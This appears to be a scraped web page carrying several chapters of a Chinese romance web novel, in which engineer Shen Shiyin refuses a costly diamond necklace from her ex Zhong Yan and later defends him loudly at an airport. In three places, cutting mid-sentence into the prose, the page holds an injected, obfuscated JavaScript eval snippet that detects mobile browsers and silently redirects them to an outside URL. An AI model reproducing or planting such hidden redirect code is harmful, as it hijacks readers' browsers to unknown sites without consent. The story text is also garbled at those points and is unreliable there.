沈外婆正式开始了康复治疗,手术很成功,钟琂给她买的那些训练用具也很有用,但开颅手术到底还是会对身体的反应和协调性都产生不可逆的影响。尤其是外婆本来就摔过一次,正好可以一并做针对四肢的加强锻炼。 康复科的医生对沈时因家里那个自动翻身床赞不绝口,说她有远见,以后老了翻不动身,就不用总指望别人,也不担心会生褥疮了。 沈时因开始每天早上载着外婆去医院,中午刘阿姨做好饭了就来接,她下午要么和付奶奶聊天遛弯,要么让刘阿姨推她出去转转。沈时因好几次下班回家都能看见外婆在路口等她,就像她小时候每天放学回来那样。 到家的最后一点路程总是祖孙俩一起走回去的,他们会在路上讨论白天发生了什么、晚上吃什么一类的话题。不过沈时因近期不怎么爱吃晚饭,不是在减肥,而是钟琂太喜欢给她买吃的了。 他虽然最近没怎么露面,但芋泥蛋糕隔三差五就会买过来,沈时因的办公桌上都快堆成山了。她也第一次产生了有点吃腻甜食的想法。 赵云萱这几天总来找她蹭蛋糕吃,一听这话,当即做惊恐状:“天啊,沈时因居然不喜欢吃小蛋糕了,这一定是地球磁场发生了变化,行星轨道也出现了偏离,种种迹象表面……世界末日快到了!” 沈时因放下叉子的手一顿,感叹道:“你不去写科幻小说真是可惜了。” 好不容易熬到周末,沈时因把办公室小冰箱里的最后一点食物清空。她开着车回家,路过之前那个路口时,站在那里的人忽然由外婆变成了钟琂。 沈时因差点以为自己看错了,她停好车往回走,看见站在那的人果然是钟琂。 “你在等我?”沈时因狐疑地问。 钟琂回答得很肯定:“对,我在等你。” “找我有事吗,那你怎么不在公司叫我?”沈时因总觉得钟琂今天奇奇怪怪的,走近了还能闻到一股干净幽然的木质香气,这是他常用的须后水味道。“你今天没去公司,直接从家里过来的?” 钟琂没有解答沈时因的问题,他只是说:“一起去吃点东西吧。” 沈时因随口答应下来,钟琂立即走过去打开副驾驶的车门,让她先上车。 坐上他的车,钟琂也没跟她商量要去吃什么。他似乎已经提前规划好了路线,按照导航行驶到一家装潢考究、环境清幽的米其林餐厅,沈时因下车的时候还看见门口正在布置求婚现场,钟琂报了个名字,随即有人带着他们落座靠窗的位置。 只要转头一看,就能将整座城市的夜景尽收眼底。好看是好看,但沈时因还是觉得不太对劲,“我本来以为我们要去吃面。” 正在看菜单的钟琂翻到最后一页,“你想吃面?那我给你点一份。” “不用不用,”沈时因连连摆手,“我以为我们要去吃面和我想吃面之间是两码事,没有必然联系。” 侍者走过来点燃他们这一桌的白色蜡烛,在莹莹烛火的照耀下,沈时因吃完了一整只澳洲龙虾,餐厅也正好播放到一首经典的英文老歌——《without you》。 钟琂就是在这个时候有了动作,他从口袋里拿出一个绒面方盒,往前一推,“这个送给你。” 沈时因注意到盒子上面的品牌名,“这不是你上次送我的项链吗,你把它带回来了……”她在打开的一瞬间彻底愣住了,因为里面放着的不是钟琂之前送给她的那条项链,而是沈时因最开始想要的、放在宣传广告上,那条大桥形状的项链。 项链通体璀璨,挂坠上镶嵌着满满的钻石,在这个夜晚显得尤其的亮,实物比广告照片上还好看。 “你……”沈时因都有点语无伦次了,“不是说买不到了么,你去哪买的?” 钟琂看着沈时因的反应,终于确定了这条项链才是她真正想要的,而不是上次那条同品牌的其它款式。 “我问了很多珠宝店和拍卖行,直到前段时间才辗转得知有一个私人收藏家表示愿意出售,我们约好了在纽约交易,我上次打算回美国除了想见家人也是为了能取回这条项链。” 沈时因说:“可是你没回去。” “后来蒋斯年说他要回国,我就让他帮我带回来了。收到以后我还拿去国内的专业机构做过鉴定,确定了它没有被二次加工。”钟琂看着沈时因,很认真地问:“你喜欢吗?” 沈时因当然喜欢了,可她很难去想象现在手里这个小盒子价值多少钱。从迪拜回到非洲以后,沈时因偷偷查过项链价格,光是原价就已经逼近一百万人民币了,钟琂再找收藏家买,那肯定还要加价。这在有些城市都能买套房子了。 “你为什么要这么做?”沈时因把首饰盒合上,她看上去相当不解,“你先是为了我抛下非洲的一切,然后又满世界地找这条项链,可你做这些事的时候根本不知道我会不会跟你复合。” “因为我喜欢你,我离不开你,还想永远和你在一起。我不是认定了你会跟我复合才回来的,而是我根本没有办法独自生活在没有你的地方。”钟琂表情诚恳,每个字都像发自肺腑:“在你来之前,我本来以为我可以在非洲一直生活下去,可你来了又走了,我对于非洲的记忆变得只与你相关。” 沈时因张了张嘴,忽然一句话都说不出来了。她以前总希望钟琂能更体贴、更重视她,可真的到了这种时候,她反而不知道该怎么面对这份汹涌的爱意。 “胡定荣已经全都告诉我了,我还欠你一句解释和道歉。”对上沈时因迷惑的目光,钟琂接着说:“大桥的庆功宴上,他们谈论到了你,出于维护你的目的,我说了一句不过脑子的话。那一桌的人就是以前跟赵广生走得近的,你平时一般不与他们来往,他们说的话也真真假假,不太会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423004|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人相信,我本来以为这话不会传到你的耳朵里,没想到会刚好被录下来。” “沈时因,你不会猜到他们平时都用多么恶劣粗俗的话去议论别的女工程师,我不想把你也放在那个位置。我犯了个很大的错误,一件事或许有很多种解决方式,但我总是习惯选择最简单直接的一种,我要为这件事向你道歉。但我绝对没有让人给我介绍女朋友。” 沈时因坐在对面,全神贯注地消化他的话。末了,她忽然小声嘟囔道:“何茹就挺符合你的审美,她的皮肤颜色很深,笑起来会露出标准的八颗牙……” “我没有审美标准,”钟琂打断她,“我的喜好就是你。” “好,我接受你的道歉。”沈时因深吸了一口气,“我也承认,我是因为你的那句话才想要分手,可那只能说是一个导火索,我们之间的问题远远不止如此,不是把这一件事说开就可以开开心心和好的。” 钟琂的上半身往前倾,摆出洗耳恭听的样子,“那你说,我们还有什么问题。” 沈时因闭了闭眼,也不管钟琂能不能听懂,总之一股脑地开始讲:“刚开始听见你说的那句话,我的确很受伤,但心里一直有个声音,它在提醒我这一天终于还是来了,因为我早就知道我们走不到最后。跟你分手之后,我回去哭了一晚上,可当第二天真正坐在机场了,我反而松了一口气,我正好需要一件事,或者说一个契机来推着我往前走出那一步。” “往前一步是指……回国?” 沈时因不置可否地说:“你可以这么认为,我有家庭责任,有外婆需要照顾,我跟你不一样。但其实我们之间的差距何止是这些?成长背景、家庭环境、性格脾性、处理事情的方式,这些全都不同。” “不同又不意味着不能相处了,性格互补是好事,如果全都一模一样,跟照镜子似的,那不就变成自己跟自己谈恋爱了?” “那你想过我们的未来吗?”沈时因问:“你满脑子都是宏伟理想,什么国家友谊,什么第三世界、全人类,你的计划里根本就没有我。” “我不是没想过,可你态度很明确地说过还要继续留几年,那我为什么要去想那么长远的事?” “为什么不能,”沈时因问:“还是因为你觉得想了也没用,浪费时间?” 钟琂看着她,很久都没说话。不远处响起求婚成功的欢呼声,燃烧的烛火还摇曳在他们两个人中间,晃荡得仿佛能让人的心旌也跟着摇曳。 钟琂还是软了下去,他哑声说:“我们不要再吵了,如果你不喜欢以前的我,那我从今以后都会改的。” 沈时因心里很乱,她还是觉得钟琂不理解他们的症结所在,她也不想让钟琂一味地陷入痛苦与妥协。 沈时因把装着项链的盒子推了回去,她垂着脸说:“我不能收,这太贵重了。我不想每天戴着一套房在身上。” 88.第 88 章 拒绝钟琂很难,但更难的是还要坐他的车回家。 两人一路无话,钟琂还是一如既往地不爱在车里听歌,空气沉得仿佛凝结成水,再化作了一团乌云笼罩在沈时因头上。 沈时因第二天把梁冉约了出来,她顶着重重的黑眼圈,有气无力地说:“你绝对想不到我昨天做了什么。” 梁冉早就想和沈时因坐下来好好聊聊了,前段时间她照顾外婆没空,但跟钟琂的关系应该是突飞猛进了的。梁冉对她挤眉弄眼,“是不是大战三百回合,没睡成觉,腰也快断了?” 沈时因定定地看了梁冉一会儿,猛然反应过来她在说什么,“没有,完全相反。” “相反?”梁冉问:“那就是没上床,畅聊了一晚上?” 沈时因看了看窗外的天,又端起咖啡喝了一口,神情看上去有些沉痛,“更不是了。我拒绝了一条价值一百多万的钻石项链,和钟琂应该也彻底没戏了。” “啊?”梁冉万万没想到会是这样的发展走向,震惊之余,她的语气颇有些可惜:“我还以为外婆生病的事情一过,你们复合就是水到渠成的事了。毕竟他可是排队了五个小时给你买芋泥蛋糕。” 沈时因问:“你怎么知道?” “他回来的时候提着那么多袋子,我看见上面的品牌名称了。”梁冉振振有词地说:“而且那天排队的事闹得挺大的,网上的周边商品在二手网站炒到了几千块钱,都上热搜了,那些网友来来回回吵了好几天。” 沈时因嘴唇翕动,手里也无意识地抓起桌布的一角,“他买芋泥蛋糕回来的时候我也挺感动的,我不是不喜欢他,就是……我的勇气好像全都在第一次决定要和他在一起的时候用完了。现在他回来了,我却做不到像当年那么义无反顾。” “你还有顾虑?”梁冉问:“还是说你不相信他?” 沈时因摇着头说:“我不知道,但我就是觉得应该往前走了,不能继续困在过去的人和事里。也怕重蹈覆辙……” 梁冉怎么也没想到她有一天竟然会站在钟琂那边,她语重心长地说:“我承认我以前对钟琂成见很深,特别是在你第一次给我提到这个人的时候。后来你带他回国,他和郑意成成为了朋友,我也没能对他彻底改观。但这次我觉得钟琂真的变了很多,以前那日理万机的样子,你能想象得到他有一天会干等五个小时只为了买蛋糕?” “可谁知道他是不是又在装,他现在说要改,但很有可能只是为了达成目的蛰伏一段时间。等我再接受他了,他说不定又会原形毕露。” 梁冉问:“你觉得他在装?” “我不知道,”沈时因说:“可我不想再赌了。” “如果真是那样,那就再分开嘛。”梁冉看着沈时因,一字一句地说:“我可能不了解他,但我了解你。你不是一个输不起的人,不管遇到多么艰难困苦的事,你总能爬起来,一个男人而已,如果真的喜欢就去试一试,就算遍体鳞伤了这也打不倒你。他的条件可能是比你好很多,但金子会发光那是天经地义的,你这颗小石头不也靠自己发出了亮光吗,这才难得呢。” 沈时因做了一件自认为对的事,但那不是她真正想做的,心情也说不上多好。她今天来见梁冉本来想找一个支持者,为自己的决定添加一些佐证,但梁冉居然出其不意地站在了她的对立面。 “关于钟琂,你怎么总跟我唱反调。以前我死活想跟他在一起,你劝我分,现在好不容易下定决心分开了,你又劝我赌一把。”沈时因哭笑不得地说:“还有,你怎么也开始用这些乱七八糟的比喻句了?” “以前是以前,现在是现在。你再好好考虑考虑,但不论你最后做什么决定,我还是会支持你的。” 和梁冉分别以后,沈时因一个人走着路回家。她在思考,也在动摇。 以前总觉得只有腰缠万贯的人才有资格进入赌局,可她现在一个两手空空、毫无后路的人真的可以倾其所有去和钟琂赌吗? 沈时因走到居民楼楼下,她没急着回家,而是先去找了一趟付奶奶。付奶奶家里没人,她在门口等了半天也没见人回来。 回到家,外婆正在防护栏前面照顾那些花花草草,忙得头也没回。 “付奶奶怎么不在家,门窗紧闭的,他们出远门了?”沈时因问。 “她大女儿带着她旅游去了,过几天就回来。怎么,你找她有事?” “没事,”沈时因赶紧否认,“我就是路过,想去问候一声。那她走了您会不会很无聊?” “无聊什么呀,因因,你快过来看,好多花都开了。钟琂之前给我的那两包种子我也种进去了,多浇点水,应该很快就能开花。” 沈时因搬了张凳子坐到防护栏前,听见外婆问:“好看吗?” “好看。”沈时因深嗅了一口,“也很好闻。” 外婆忙得乐不可支,刚清除完杂草,又拿着水壶要浇水。沈时因看着她这高兴的样子,不禁问:“可是这些花虽然开了,但总会有凋谢枯萎的一天,那它们的盛开还有意义吗?” “傻孩子,你说的这是什么话!就算总有一天会谢,可现在绽放出来的美丽是真的,带给人的愉悦心情也是真的。即便花朵有灵,明知道自己会枯萎,那一定也会拼了命地破土而出,用全部的生命力尽情绽放一次。人还总有一天会死呢,那是不是现在就不用活了?” 沈时因噗嗤笑了出来,“我不是这个意思。” 心烦意乱地过了一个周末,沈时因周一上午去公司发现凌志才和钟琂都不在,听说有几个项目都在立项和洽谈阶段,要去做实地考察。 博物馆也快封顶了,赵云萱主持建造的园林先一步完工,错落雅致的树篱与香樟树将建筑物包裹其间,沿途的步道、叠石和花草互相掩映,和建筑外观的风格也相得益彰。 每个人,每一天都在奔流不息地往前走,这个世界的运转不会因为沈时因的举棋不定而停下。在竣工仪式召开的第二天,沈时因还接到一个通知,那就是胡定荣要提前回非洲了。 沈时因特地请了半天假去送他,抵达国际航站楼的地下停车场,胡定荣从车里拿出行李箱。 “你怎么提前这么久回去,是不是非洲基地出什么事了?”沈时因不太放心地问。 “不是,”胡定荣有点兴奋地说:“几个同事约着想去看动物迁徙,想着都来非洲了,不去看一次也说不过去。” 沈时因恍然,“对,是应该看一次。” “沈工,你是不是没去看过?我记得你以前在园区的时候不怎么外出,都是三点一线的生活。” “我看过的。”沈时因说。 “那你什么时候去的,也是跟公司同事?怎么从来没听你提起过。” 沈时因说:“总之我就是去过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434241|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那是一段值得铭记一生的经历。” 沈时因陪胡定荣办理完登机手续,行李也托运了,前面就是安检。沈时因决定就送到这里,“那就祝你也能有个愉快难忘的旅程,回到非洲注意安全,记得防晒防蚊,下次回来我们再聚。” “知道了,你也是。女孩在这一行很难,一定要保护好自己。” 送完胡定荣,沈时因正想回公司上班,可还不等她走到电梯,一个意外的人出现在她的视野里。 准确地说是两个人,蒋斯年和何茹站在一起,像是正在查看航班信息,身边还放着几个行李箱。原来他们也要走了。 他们没注意到沈时因,沈时因犹豫着要不要上前打声招呼。说认识吧,勉强能算认识,但关系不熟,特别是她不久之前还和钟琂闹掰了,就算走过去了也不知道该说什么。 算了。沈时因决定假装没看见,她走到电梯旁边,按下按钮,目不斜视地看着代表楼层的数字正在变化。 “沈时因?” 当沈时因身边忽然传来一阵惊呼时,她都想找个地缝钻进去了。蒋斯年不仅认出了她,还带着何茹,以及那些行李走了过来。 沈时因只能转过脸,故作惊讶地问:“你们怎么也在这里,要回美国了?” “对,我们要走了。”蒋斯年身上带着些外籍华人特有的松弛和开朗,他很热情地问:“你来机场送人?” 电梯门开了,沈时因走也不是,留也不是的,再次陷入两难境地。她在内心痛苦叫嚣,为什么每次碰到这两个人都这么尴尬? “是啊,我来送一个朋友。”沈时因还是没走成,然而说完这句话,他们之间好像也没什么话可聊了。 他们本来就因为钟琂认识,唯一的共同话题也就只有钟琂,然而这似乎也变成了一个禁忌的主题。 蒋斯年抬手看了一眼表,提议说:“还有一点时间,我能不能请你去旁边喝杯咖啡,我们坐一坐?” 蒋斯年摆明了想要和她聊聊,至于聊什么,答案也很昭然若揭。沈时因正犹疑着,蒋斯年又说:“一会儿就好,不会耽误你太长时间。” 说完,蒋斯年走到何茹面前,跟她说了几句话。何茹点了点头,推着行李箱走到了另一边。 沈时因只好跟着蒋斯年走到旁边一家咖啡店,刚一坐下,蒋斯年拿出手机。他感叹道:“现在国内真是太发达了,基本看不到现金,点单也都是扫码。我刚开始什么也不会,还是钟琂帮我下载了支付软件。” 沈时因笑了笑,“对你们这些常年不回国的人是有点不习惯,那我来点吧。” “没事的,我来。”蒋斯年抬手挡了一下,在手机界面里点了两杯咖啡。 做完这些,蒋斯年很开门见山地说:“我听说你们的事了。那条项链还是我带回来的,但你没收。” 对于一个要赶飞机的人来说,他当然没有时间兜圈子。于是沈时因也很直奔主题地问:“你是不是想说服我,让我重新接受钟琂?” 蒋斯年笑了起来,“我知道我没有什么资格,我们总共就见过一面,还远远算不上朋友。但钟琂这段时间真的挺消沉的,平时在公司可能看不出来……其实你们刚分手那会儿,他就来问过我和何茹,他不知道面对这种情况应该怎么办。可能有时候表达得不那么合乎心意,但他确实从很久之前就想跟你和好,两次回国也都是因为你。” 89.第 89 章 “他……经常跟你们提起我?”沈时因问。 “偶尔吧,基本都是在你不理他或是明显表现出抗拒的时候。感情上的事不能光靠看书和计算就能找到一个完美的解决方式,所以他可能会觉得束手无策。”蒋斯年说:“钟琂是一个行大于言的人,他不是那么擅长口头上的承诺。” 沈时因低下头,有些局促不安地握着咖啡杯,“这个我知道。” “我和何茹都看得出来,你对他也不是完全没有感情。如果因为一些不必要的误会错过,那就太可惜了。可能有些事情还是旁观者看得更清楚。” 照这么说,沈时因上次无意中看见钟琂的手机信息,他与何茹之间的谈话应该也是在聊关于她的事了。 沈时因当然知道钟琂对她是真心的,只不过这不是一件只要你喜欢我,我也喜欢你,那就能皆大欢喜的童话故事。“我们之间的事比较复杂,三言两语说不清楚。我的家庭情况也……很特殊。” 蒋斯年点了点头,他本来也没有抱太大希望,并不认为自己能凭三言两语就说服沈时因。 “如果你在得知了他的心意之后还是决定拒绝,那我可以理解。毕竟要朝夕相处的人是你,钟琂这个人也不是那么好相处,他个性强,比较自我,用一句古人常说的话形容就是轻世傲物。我们小的时候他就经常把中文课上的同学弄哭。” 沈时因想象着钟琂作为一个臭屁小孩的模样,总觉得他有时候虽然烦人了点,但不至于会恶作剧捉弄同学。她好奇地问:“还有这种事?” “当然有了,”蒋斯年说:“有次老师布置了一个作业,让我们用汉字书写自己的梦想。有个同学写好之后上去念,说他想当宇航员,还说当前的航天技术已经发展到能登陆火星和月球了,但天王星和海王星还没有人类探测器去过,他长大了就要去。结果一下课,钟琂走过去对他说,没有人或飞船可以做到登陆这两个星球,因为它们由气体和液体组成,根本无法着陆。人都被说哭了,钟琂还理直气壮地说这是尽早帮他认清现实。还有一次,有个同学立志要当职业围棋棋手,钟琂也去跟他下了一局,这又导致一个无辜孩童的梦想被摧毁,坐在休息室里崩溃大哭了很久。” 沈时因很认真地听着,蒋斯年却忽然住了嘴,很有些懊悔地说:“我怎么开始给你讲起这个了,钟琂也早就不这样了,特别是遇见你以后,那蜕变……简直堪称脱胎换骨。” 沈时因差点笑出来,蒋斯年看时间差不多了,站起来说:“那我就先走了。我今天跟你说这些没有别的意思,不论你做什么决定,那也都是情理之中的,外人没有立场去评判什么。” 蒋斯年一走,沈时因独自坐在咖啡馆里,她没有选择马上离开,而是陷入了一阵沉思。 沈时因在想,公司里的人也曾将类似的词放在钟琂身上,说他什么来着?恃才傲物,对,他们总说他仗着有才华就目中无人、独断专行。 事实上,一提起钟琂,人们常常联想到的好像总是那些词:行业大佬、天才、工作狂、脾气不好之类。仿佛工作能力就是一道免死符,这给了他睥睨众生的底气,但换言之,一旦他不那么聪明能干了,那谁还会惯着他? 沈时因的思绪飘忽不定,心情也跟着跌宕起伏,她的情绪逐渐由最初的平静变成了一种……愤怒。 她觉得不对,沈时因反复回想刚才听到的那些话,她断定蒋斯年说的不对。 心里那阵不可言说的怒气还在持续发酵,直到转化成一股强烈的冲动,这让她突然间站了起来。 沈时因再也忍受不了一般冲出咖啡店,她穿梭在机场大厅里,不断张望着那些航空公司和各个显示屏幕,双腿也从走路变成了奔跑。 沈时因着急地来到安检口,一列一列地找过去,还是没有看见想找的那个人。 她就像一只热锅上的蚂蚁一样,只能无措地在原地打转。忽然,沈时因灵光一闪,开始往头等舱的vip通道跑,当她终于赶到时,蒋斯年和何茹都已经通过了安检,他们隔着一道玻璃墙,背对着她,似乎正要往登机口的方向走。 沈时因再也管不了那么多,她站在警示线后面,大声对着里面喊:“蒋斯年——” 蒋斯年和何茹同时回过头,他们都看见了外面的沈时因,蒋斯年往回走了几步,他们之间依旧相隔遥远。 沈时因还是不管不顾地高声喊道:“你说错了,钟琂不是你说的那种人!至少我认识和了解的钟琂不是那样,只有他会把我的残疾人朋友当一个普通人看待,他对所有人都一视同仁,即使只是一个小小的库管,他还会给非洲的小朋友发巧克力,带我去马赛人的部落买他们手工制作的商品。就算他有傲气,那这份傲气也是向上的,是不屈服于规常和等级的,但对下,他不会看不起任何一个人,也比谁都温柔谦卑!” 身边的所有人都停下了,他们纷纷侧目,不仅是即将登机的旅客,还有一众工作人员,他们全都目不转睛地看着眼前这个声嘶力竭的女孩。 沈时因彻底豁出去了,她还在拼命大喊:“你是他最好的朋友!如果连你也像其他人一样不理解他,那就太残忍了,我们不能这么对他!” 蒋斯年也在奋力往外挤,隔着通道和出境闸口,他大声对外面说:“我知道了!我没有那么想,以后也不会!” 蒋斯年挥舞着手臂高呼,何茹也一样,他们两人都垫起脚往外探着身子,蒋斯年还在说:“只是我没想到,原来你这么喜欢他!” 沈时因把想说的话都说完了,这时候才后知后觉地感到难为情,她往旁边一看,好多探究和玩味的目光都望向她,还有人拿出了手机似乎想录像。 蒋斯年还站在原地等着,“你还有什么话要说吗,没有的话我们就走了!” 沈时因一个劲地摇头,也和他们一样,蹦跳着挥手,“你们快走吧,别错过飞机了!” “好——”在骤然安静下去的机场里,蒋斯年的声音显得格外嘹亮,沈时因看见他忽然朝着另一个方向说:“那就再见了,钟琂。” 钟琂? 沈时因的腿仿佛被钉在了地上,让她动弹不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还能聊什么?他是你的朋友,当然向着你了,说你有多喜欢我,还说你找他和何茹做情感咨询,聊的也都是关于我。其实我早就不介意何茹了,而且也能猜到……” 沈时因走着走着,忽然发现钟琂没跟上。她回头一看,只见钟琂正在从衣服口袋里掏东西。 沈时因走回去,“你在找什么?” “我在找……”说话间,钟琂已经拿出了手机,他点开WhatsApp,找到何茹的头像点开,最新显示的聊天记录是一年前,也就是沈时因曾经无意中看见过的那条信息。 钟琂忽然觉得很多事情都能串起来了,何茹的头像是她本人的照片,黑皮肤卷头发,还笑得热情洋溢,她最后发过来的那句话也语焉不详,能够给人很多的想象空间。 “那天早上,你坐我的车,是不是看见了她发给我的信息?”钟琂试图还原事情的经过,“怪不得你那天看见照片,问了我两次这个人是谁。再结合我当时在庆功宴上说的话,你把何茹理解成我喜欢的类型了?” 沈时因说:“没有,你后来解释了她是蒋斯年的女朋友我就知道你们没什么了,我也没有嫉妒她。” “你先等等,重点不是嫉不嫉妒,而是你本来很介意的,对吧?你误会了我和她的关系,你吃醋了。” 钟琂脸上有种解开一道难题后才会出现的喜悦和振奋,他很畅快地笑了起来: “其实你根本就是喜欢我吧,一直都喜欢我。”